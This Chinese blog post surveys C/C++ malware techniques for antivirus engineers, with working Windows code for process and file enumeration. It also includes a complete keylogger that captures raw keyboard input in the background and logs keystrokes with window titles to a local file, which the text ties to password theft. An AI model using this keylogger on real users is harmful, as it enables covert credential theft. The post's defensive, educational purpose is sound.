百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术分析 > 正文

C/C++恶意代码盘点(一):进程遍历丨木马病毒丨密码记录

liebian365 2024-10-26 13:00 6 浏览 0 评论

恶意代码的分类包括计算机病毒、蠕虫、木马、后门、Rootkit、流氓软件、间谍软件、广告软件、僵尸(bot) 、Exploit等等,有些技术经常用到,有的也是必然用到。

恶意代码常见功能技术如下:进程遍历,文件遍历,按键记录,后门,桌面截屏,文件监控,自删除,U盘监控。知己知彼,百战不殆。这里旨在给反病毒工程师提供参照。病毒作者请绕过。

进程遍历

进程遍历获取计算机上所有进程的信息(用户进程,系统进程),通常是为了检索受害进程,检测是否运行在虚拟机中,以及是否存在杀软等,有时候反调试技术也会检测进程名。所以在恶意代码中进程遍历很常见。

具体流程:

1、调用CreateToolhelp32Snapshot获取所有进程的快照信息之所以称为快照是因为保存的是之前的信息,该函数返回进程快照句柄。

2、调用Process32First获取第一个进程的信息,返回的进程信息保存在PROCESSENTRY32结构体中,该函数的第一个参数是CreateToolhelp32Snapshot返回的快照句柄。

3、循环调用Process32Next从进程列表中获取下一个进程的信息,直到Process32Next函数返回FALSE,GetLastError的错误码为ERROR_NO_MORE_FILES,则遍历结束。

4、关闭快照句柄并释放资源

遍历线程和进程模块的步骤和上面的相似,线程遍历使用Thread32First和Thread32Next,模块遍历使用Module32First和Module32Next。

源码实现:

#include "EnumInfo.h"


void ShowError(char *lpszText)
{
    char szErr[MAX_PATH] = {0};
    ::wsprintf(szErr, "%s Error[%d]\n", lpszText, ::GetLastError());
#ifdef _DEBUG
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
#endif
}


BOOL EnumProcess()
{
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);
    // 获取全部进程快照
    HANDLE hProcessSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (INVALID_HANDLE_VALUE == hProcessSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Process32First(hProcessSnap, &pe32);
    while (bRet)
    {
        // 显示 Process ID
        printf("[%d]\t", pe32.th32ProcessID);

        // 显示 进程名称
        printf("[%s]\n", pe32.szExeFile);

        // 获取快照中下一条信息
        bRet = ::Process32Next(hProcessSnap, &pe32);
    }

    // 关闭句柄
    ::CloseHandle(hProcessSnap);

    return TRUE;
}


BOOL EnumThread()
{
    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);
    // 获取全部线程快照
    HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (INVALID_HANDLE_VALUE == hThreadSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Thread32First(hThreadSnap, &te32);
    while (bRet)
    {
        // 显示 Owner Process ID
        printf("[%d]\t", te32.th32OwnerProcessID);

        // 显示 Thread ID
        printf("[%d]\n", te32.th32ThreadID);

        // 获取快照中下一条信息
        bRet = ::Thread32Next(hThreadSnap, &te32);
    }

    // 关闭句柄
    ::CloseHandle(hThreadSnap);

    return TRUE;
}


BOOL EnumProcessModule(DWORD dwProcessId)
{
    MODULEENTRY32 me32 = { 0 };
    me32.dwSize = sizeof(MODULEENTRY32);
    // 获取指定进程全部模块的快照
    HANDLE hModuleSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId);
    if (INVALID_HANDLE_VALUE == hModuleSnap)
    {
        ShowError("CreateToolhelp32Snapshot");
        return FALSE;
    }

    // 获取快照中第一条信息
    BOOL bRet = ::Module32First(hModuleSnap, &me32);
    while (bRet)
    {
        // 显示 Process ID
        printf("[%d]\t", me32.th32ProcessID);

        // 显示 模块加载基址
        printf("[0x%p]\t", me32.modBaseAddr);

        // 显示 模块名称
        printf("[%s]\n", me32.szModule);

        // 获取快照中下一条信息
        bRet = ::Module32Next(hModuleSnap, &me32);
    }

    // 关闭句柄
    ::CloseHandle(hModuleSnap);

    return TRUE;
}


文件遍历

文件操作几乎是所有恶意代码必备的功能,木马病毒窃取机密文件然后开一个隐秘端口,(之前在kali渗透群看到有人提问如何识别木马,其实有一个简单的方法,几乎所有的木马都要与攻击者的主机通信的,查看打开了哪些奇怪的端口是一种方法)。

就算是再R0下,也经常会创建写入读取文件,文件功能经常用到。文件搜索功能主要是通过调用FindFirstFile和FindNextFile来实现。

具体流程

1、调用FindFirstFile函数,该函数接收文件路径,第二个参数指向WIN32_FIND_DATA结构的指针。若函数成功则返回搜索句柄。该结构包含文件的名称,创建日期,属性,大小等信息。

该返回结构中的成员dwFileAttributes为FILE_ATTRIBUTE_DIRECTORY时表示返回的是一个目录,否则为文件,根据cFileName获取搜索到的文件名称。如果需要重新对目录下的所有子目录文件都再次进行搜索的话,则需要对文件属性进行判断。若文件属性是目录,则继续递归搜索,搜索其目录下的目录和文件。

2、调用FindNextFile搜索下一个文件,根据返回值判断是否搜索到文件,若没有则说明文件遍历结束。

3、搜索完毕后,调用FindClose函数关闭搜索句柄,释放资源缓冲区资源。

源码实现:


#include "stdafx.h"
#include "FileSearch.h"


void SearchFile(char *pszDirectory)
{
    // 搜索指定类型文件
    DWORD dwBufferSize = 2048;
    char *pszFileName = NULL;
    char *pTempSrc = NULL;
    WIN32_FIND_DATA FileData = {0};
    BOOL bRet = FALSE;

    // 申请动态内存
    pszFileName = new char[dwBufferSize];
    pTempSrc = new char[dwBufferSize];

    // 构造搜索文件类型字符串, *.*表示搜索所有文件类型
    ::wsprintf(pszFileName, "%s\\*.*", pszDirectory);

    // 搜索第一个文件
    HANDLE hFile = ::FindFirstFile(pszFileName, &FileData);
    if (INVALID_HANDLE_VALUE != hFile)
    {
        do
        {
            // 要过滤掉 当前目录"." 和 上一层目录"..", 否则会不断进入死循环遍历
            if ('.' == FileData.cFileName[0])
            {
                continue; 
            }
            // 拼接文件路径   
            ::wsprintf(pTempSrc, "%s\\%s", pszDirectory, FileData.cFileName);
            // 判断是否是目录还是文件
            if (FileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)       
            {
                // 目录, 则继续往下递归遍历文件
                SearchFile(pTempSrc);
            }
            else                                                           
            {
                // 文件
                printf("%s\n", pTempSrc);
            }

            // 搜索下一个文件
        } while (::FindNextFile(hFile, &FileData));
    }

    // 关闭文件句柄
    ::FindClose(hFile);
    // 释放内存
    delete []pTempSrc;
    pTempSrc = NULL;
    delete []pszFileName;
    pszFileName = NULL;
}


按键记录

收集用户的所有按键信息,分辨出哪些类似于账号,密码等关键信息进行利用,窃取密码,这里用原始输入模型直接从输入设备上获取数据,记录按键信息。

要想接收设备原始输入WM_INPUT消息,应用程序必须首先使用RegisterRawInputDevice注册原始输入设备,因为在默认情况下,应用程序不接受原始输入。

具体流程

1、注册原始输入设备

一个应用程序必须首先创建一个RAWINPUTDEVICE结构,这个结构表明它所希望接受设备的类别,再调用RegisterRawInputDevices注册该原始输入设备。将RAWINPUTDEVICE结构体成员dwFlags的值设置为RIDEV_INPUTSINK,即使程序不处于聚焦窗口,程序依然可以接收原始输入。

2、获取原始输入数据

消息过程中调用GetInputRawData获取设备原始输入数据。在WM_INPUT消息处理函数中,参数lParam存储着原始输入的句柄。此时可以直接调用

GetInputRawData函数,根据句柄获取RAWINPUT原始输入结构体的数据。

dwType表示原始输入的类型,RIM_TYPEKEYBOARD表示是键盘的原始输入,Message表示相应的窗口消息。WM_KEYBOARD表示普通按键消息,WM_SYSKEYDOWN表示系统按键消息,VKey存储键盘按键数据。

3、保存按键信息

GetForegroundWindow获取按键窗口的标题,然后调用GetWindowText根据窗口句柄获取标题,存储到本地文件。

源码实现:


#include "RawInputTest.h"
#include "VirtualKeyToAscii.h"


void ShowError(char *pszText)
{
    char szErr[MAX_PATH] = { 0 };
    ::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
    ::MessageBox(NULL, szErr, "ERROR", MB_OK);
}


// 注册原始输入设备
BOOL Init(HWND hWnd)
{
    // 设置 RAWINPUTDEVICE 结构体信息
    RAWINPUTDEVICE rawinputDevice = { 0 };
    rawinputDevice.usUsagePage = 0x01;
    rawinputDevice.usUsage = 0x06;
    rawinputDevice.dwFlags = RIDEV_INPUTSINK;
    rawinputDevice.hwndTarget = hWnd;
    // 注册原始输入设备
    BOOL bRet = ::RegisterRawInputDevices(&rawinputDevice, 1, sizeof(rawinputDevice));
    if (FALSE == bRet)
    {
        ShowError("RegisterRawInputDevices");
        return FALSE;
    }

    return TRUE;
}


// 获取原始输入数据
BOOL GetData(LPARAM lParam)
{
    RAWINPUT rawinputData = { 0 };
    UINT uiSize = sizeof(rawinputData);

    // 获取原始输入数据的大小
    ::GetRawInputData((HRAWINPUT)lParam, RID_INPUT, &rawinputData, &uiSize, sizeof(RAWINPUTHEADER));
    if (RIM_TYPEKEYBOARD == rawinputData.header.dwType)
    {
        // WM_KEYDOWN --> 普通按键    WM_SYSKEYDOWN --> 系统按键(指的是ALT) 
        if ((WM_KEYDOWN == rawinputData.data.keyboard.Message) ||
            (WM_SYSKEYDOWN == rawinputData.data.keyboard.Message))
        {
            // 记录按键
            SaveKey(rawinputData.data.keyboard.VKey);
        }
    }
    return TRUE;
}


// 保存按键信息
void SaveKey(USHORT usVKey)
{
    char szKey[MAX_PATH] = { 0 };
    char szTitle[MAX_PATH] = { 0 };
    char szText[MAX_PATH] = { 0 };
    FILE *fp = NULL;
    // 获取顶层窗口
    HWND hForegroundWnd = ::GetForegroundWindow();
    // 获取顶层窗口标题
    ::GetWindowText(hForegroundWnd, szTitle, 256);
    // 将虚拟键码转换成对应的ASCII
    ::lstrcpy(szKey, GetKeyName(usVKey));
    // 构造按键记录信息字符串
    ::wsprintf(szText, "[%s] %s\r\n", szTitle, szKey);
    // 打开文件写入按键记录数据
    ::fopen_s(&fp, "keylog.txt", "a+");
    if (NULL == fp)
    {
        ShowError("fopen_s");
        return;
    }
    ::fwrite(szText, (1 + ::lstrlen(szText)), 1, fp);
    ::fclose(fp);
}


恶意代码的存在不是由于黑客之类的手段,主要还是我们开发过程中很多情况会用到这样的技术,所以大家请利用技术做正确的事情!

另外,对于编程学习的小伙伴,如果你想更好的提升你的编程核心能力(内功)不妨从现在开始!

编程学习书籍分享:

编程学习视频分享:

整理分享(多年学习的源码、项目实战视频、项目笔记,基础入门教程)

欢迎转行和学习编程的伙伴,利用更多的资料学习成长比自己琢磨更快哦!

对于C/C++感兴趣可以关注小编在后台私信我:【编程交流】一起来学习哦!可以领取一些C/C++的项目学习视频资料哦!已经设置好了关键词自动回复,自动领取就好了!

相关推荐

快递查询教程,批量查询物流,一键管理快递

作为商家,每天需要查询许许多多的快递单号,面对不同的快递公司,有没有简单一点的物流查询方法呢?小编的回答当然是有的,下面随小编一起来试试这个新技巧。需要哪些工具?安装一个快递批量查询高手快递单号怎么快...

一键自动查询所有快递的物流信息 支持圆通、韵达等多家快递

对于各位商家来说拥有一个好的快递软件,能够有效的提高自己的工作效率,在管理快递单号的时候都需要对单号进行表格整理,那怎么样能够快速的查询所有单号信息,并自动生成表格呢?1、其实方法很简单,我们不需要一...

快递查询单号查询,怎么查物流到哪了

输入单号怎么查快递到哪里去了呢?今天小编给大家分享一个新的技巧,它支持多家快递,一次能查询多个单号物流,还可对查询到的物流进行分析、筛选以及导出,下面一起来试试。需要哪些工具?安装一个快递批量查询高手...

3分钟查询物流,教你一键批量查询全部物流信息

很多朋友在问,如何在短时间内把单号的物流信息查询出来,查询完成后筛选已签收件、筛选未签收件,今天小编就分享一款物流查询神器,感兴趣的朋友接着往下看。第一步,运行【快递批量查询高手】在主界面中点击【添...

快递单号查询,一次性查询全部物流信息

现在各种快递的查询方式,各有各的好,各有各的劣,总的来说,还是有比较方便的。今天小编就给大家分享一个新的技巧,支持多家快递,一次能查询多个单号的物流,还能对查询到的物流进行分析、筛选以及导出,下面一起...

快递查询工具,批量查询多个快递快递单号的物流状态、签收时间

最近有朋友在问,怎么快速查询单号的物流信息呢?除了官网,还有没有更简单的方法呢?小编的回答当然是有的,下面一起来看看。需要哪些工具?安装一个快递批量查询高手多个京东的快递单号怎么快速查询?进入快递批量...

快递查询软件,自动识别查询快递单号查询方法

当你拥有多个快递单号的时候,该如何快速查询物流信息?比如单号没有快递公司时,又该如何自动识别再去查询呢?不知道如何操作的宝贝们,下面随小编一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号若干...

教你怎样查询快递查询单号并保存物流信息

商家发货,快递揽收后,一般会直接手动复制到官网上一个个查询物流,那么久而久之,就会觉得查询变得特别繁琐,今天小编给大家分享一个新的技巧,下面一起来试试。教程之前,我们来预览一下用快递批量查询高手...

简单几步骤查询所有快递物流信息

在高峰期订单量大的时候,可能需要一双手当十双手去查询快递物流,但是由于逐一去查询,效率极低,追踪困难。那么今天小编给大家分享一个新的技巧,一次能查询多个快递单号的物流,下面一起来学习一下,希望能给大家...

物流单号查询,如何查询快递信息,按最后更新时间搜索需要的单号

最近有很多朋友在问,如何通过快递单号查询物流信息,并按最后更新时间搜索出需要的单号呢?下面随小编一起来试试吧。需要哪些工具?安装一个快递批量查询高手快递单号若干怎么快速查询?运行【快递批量查询高手】...

连续保存新单号功能解析,导入单号查询并自动识别批量查快递信息

快递查询已经成为我们日常生活中不可或缺的一部分。然而,面对海量的快递单号,如何高效、准确地查询每一个快递的物流信息,成为了许多人头疼的问题。幸运的是,随着科技的进步,一款名为“快递批量查询高手”的软件...

快递查询教程,快递单号查询,筛选更新量为1的单号

最近有很多朋友在问,怎么快速查询快递单号的物流,并筛选出更新量为1的单号呢?今天小编给大家分享一个新方法,一起来试试吧。需要哪些工具?安装一个快递批量查询高手多个快递单号怎么快速查询?运行【快递批量查...

掌握批量查询快递动态的技巧,一键查找无信息记录的两种方法解析

在快节奏的商业环境中,高效的物流查询是确保业务顺畅运行的关键。作为快递查询达人,我深知时间的宝贵,因此,今天我将向大家介绍一款强大的工具——快递批量查询高手软件。这款软件能够帮助你批量查询快递动态,一...

从复杂到简单的单号查询,一键清除单号中的符号并批量查快递信息

在繁忙的商务与日常生活中,快递查询已成为不可或缺的一环。然而,面对海量的单号,逐一查询不仅耗时费力,还容易出错。现在,有了快递批量查询高手软件,一切变得简单明了。只需一键,即可搞定单号查询,一键处理单...

物流单号查询,在哪里查询快递

如果在快递单号多的情况,你还在一个个复制粘贴到官网上手动查询,是一件非常麻烦的事情。于是乎今天小编给大家分享一个新的技巧,下面一起来试试。需要哪些工具?安装一个快递批量查询高手快递单号怎么快速查询?...

取消回复欢迎 发表评论: